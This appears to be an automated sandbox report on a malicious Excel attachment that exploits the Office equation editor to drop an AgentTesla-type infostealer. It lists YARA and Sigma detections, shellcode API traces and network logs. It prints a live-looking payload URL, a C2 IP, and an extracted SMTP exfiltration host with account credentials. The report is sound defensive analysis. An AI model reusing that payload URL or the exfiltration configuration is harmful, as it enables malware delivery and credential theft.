4.2.RegSvcs.exe.3497170.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3f5d7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3f649:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3f6d3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3f765:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3f7cf:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3f841:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3f8d7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3f967:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.RegSvcs.exe.3446458.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.RegSvcs.exe.3446458.6.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.RegSvcs.exe.3446458.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.RegSvcs.exe.3446458.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3f5d7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x902ef:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3f649:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x90361:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3f6d3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x903eb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3f765:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x9047d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3f7cf:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x904e7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3f841:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x90559:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3f8d7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x905ef:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3f967:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x9067f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.RegSvcs.exe.a6ff36.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.RegSvcs.exe.a6ff36.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.RegSvcs.exe.a6ff36.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.RegSvcs.exe.a6ff36.4.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3d7d7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3d849:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3d8d3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3d965:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3d9cf:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3da41:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3dad7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3db67:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 57 entries

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 23.94.54.101, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2064, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49161

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2064, TargetFilename: C:\Users\user\AppData\Roaming\CKK.exe

System Summary

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49161, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2064, Protocol: tcp, SourceIp: 23.94.54.101, SourceIsIpv6: false, SourcePort: 80

Sigma detected: Suspicious Binary In User Directory Spawned From Office Application

Source: Process started

Author: Jason Lynch: Data: Command: "C:\Users\user\AppData\Roaming\CKK.exe", CommandLine: "C:\Users\user\AppData\Roaming\CKK.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\CKK.exe, NewProcessName: C:\Users\user\AppData\Roaming\CKK.exe, OriginalFileName: C:\Users\user\AppData\Roaming\CKK.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2064, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Users\user\AppData\Roaming\CKK.exe", ProcessId: 2544, ProcessName: CKK.exe

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Users\user\AppData\Roaming\CKK.exe", CommandLine: "C:\Users\user\AppData\Roaming\CKK.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\CKK.exe, NewProcessName: C:\Users\user\AppData\Roaming\CKK.exe, OriginalFileName: C:\Users\user\AppData\Roaming\CKK.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2064, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Users\user\AppData\Roaming\CKK.exe", ProcessId: 2544, ProcessName: CKK.exe

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Source: DNS query

Author: Brandon George (blog post), Thomas Patzke: Data: Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, QueryName: api.ipify.org

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: PO 2_5_24.xlam.xlsx

Avira: detected

Found malware configuration

Source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.kino2.top", "Username": "serverizu09@kino2.top", "Password": " XY%R[udi4U]= "}

Multi AV Scanner detection for domain / URL

Source: http://23.94.54.101/ISW.exe

Virustotal: Detection: 6%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\CKK.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Roaming\CKK.exe	Virustotal: Detection: 40%			Perma Link

Multi AV Scanner detection for submitted file

Source: PO 2_5_24.xlam.xlsx	Virustotal: Detection: 53%			Perma Link
Source: PO 2_5_24.xlam.xlsx	ReversingLabs: Detection: 63%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\CKK.exe

Joe Sandbox ML: detected

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 23.94.54.101 Port: 80

Jump to behavior

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\CKK.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\CKK.exe			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.22:49162 version: TLS 1.2

Source:	Binary string: _.pdb source: RegSvcs.exe, 00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608574126.0000000003441000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608436273.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: CKK.exe, 00000003.00000003.446352254.0000000000F70000.00000004.00001000.00020000.00000000.sdmp, CKK.exe, 00000003.00000003.446225699.0000000002D70000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EADBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	3_2_00EADBBE
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E7C2A2 FindFirstFileExW,	3_2_00E7C2A2
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EB68EE FindFirstFileW,FindClose,	3_2_00EB68EE
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EB698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	3_2_00EB698F
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EAD076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	3_2_00EAD076
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EAD3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	3_2_00EAD3A9
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EB9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	3_2_00EB9642
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EB979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	3_2_00EB979D
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EB9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	3_2_00EB9B2B
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EB5C97 FindFirstFileW,FindNextFileW,FindClose,	3_2_00EB5C97

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Shellcode detected

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03590378 CreateFileW,	2_2_03590378
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03590477 WriteFile,	2_2_03590477
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0359040F WriteFile,	2_2_0359040F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03590502 WriteFile,CreateProcessW,ExitProcess,	2_2_03590502
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035903AF LoadLibraryW,	2_2_035903AF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035905A1 CreateProcessW,ExitProcess,	2_2_035905A1
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03590259 CreateFileW,	2_2_03590259
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0359045B WriteFile,	2_2_0359045B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035900DA CreateFileW,	2_2_035900DA
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035905DD ExitProcess,	2_2_035905DD
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035900DD CreateFileW,	2_2_035900DD
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035902D0 ExitProcess,CreateFileW,	2_2_035902D0
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035900D4 CreateFileW,	2_2_035900D4
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035900D6 CreateFileW,	2_2_035900D6
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035904C4 WriteFile,CreateProcessW,ExitProcess,	2_2_035904C4
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0359007B CreateFileW,	2_2_0359007B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035900FA CreateFileW,	2_2_035900FA
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0359007F CreateFileW,	2_2_0359007F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03590071 CreateFileW,	2_2_03590071
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03590075 CreateFileW,	2_2_03590075
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035902E9 CreateFileW,	2_2_035902E9
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035904E8 WriteFile,CreateProcessW,ExitProcess,	2_2_035904E8
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035900EB CreateFileW,	2_2_035900EB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03590563 CreateProcessW,ExitProcess,	2_2_03590563
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03590365 CreateFileW,	2_2_03590365
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03590098 CreateFileW,	2_2_03590098
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0359009F CreateFileW,	2_2_0359009F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03590113 CreateFileW,	2_2_03590113
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03590092 CreateFileW,	2_2_03590092
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03590094 CreateFileW,	2_2_03590094
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03590089 CreateFileW,	2_2_03590089
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0359008E CreateFileW,	2_2_0359008E
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03590101 CreateFileW,	2_2_03590101
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03590580 CreateProcessW,ExitProcess,	2_2_03590580
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03590305 CreateFileW,	2_2_03590305
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03590107 CreateFileW,	2_2_03590107
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035900B2 CreateFileW,	2_2_035900B2
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035900B4 CreateFileW,	2_2_035900B4
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035900B6 CreateFileW,	2_2_035900B6
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03590136 CreateFileW,	2_2_03590136
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035904A8 WriteFile,	2_2_035904A8
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035900AB CreateFileW,	2_2_035900AB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0359032C CreateFileW,	2_2_0359032C
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035900AE CreateFileW,	2_2_035900AE
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035900A1 CreateFileW,	2_2_035900A1
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03590123 CreateFileW,	2_2_03590123

Source: global traffic	DNS query: name: api.ipify.org
Source: global traffic	DNS query: name: api.ipify.org

Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 104.26.12.205:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 104.26.12.205:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 104.26.12.205:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 104.26.12.205:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 104.26.12.205:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 104.26.12.205:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 104.26.12.205:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 104.26.12.205:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 104.26.12.205:443

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
Source: global traffic	TCP traffic: 23.94.54.101:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 23.94.54.101:80
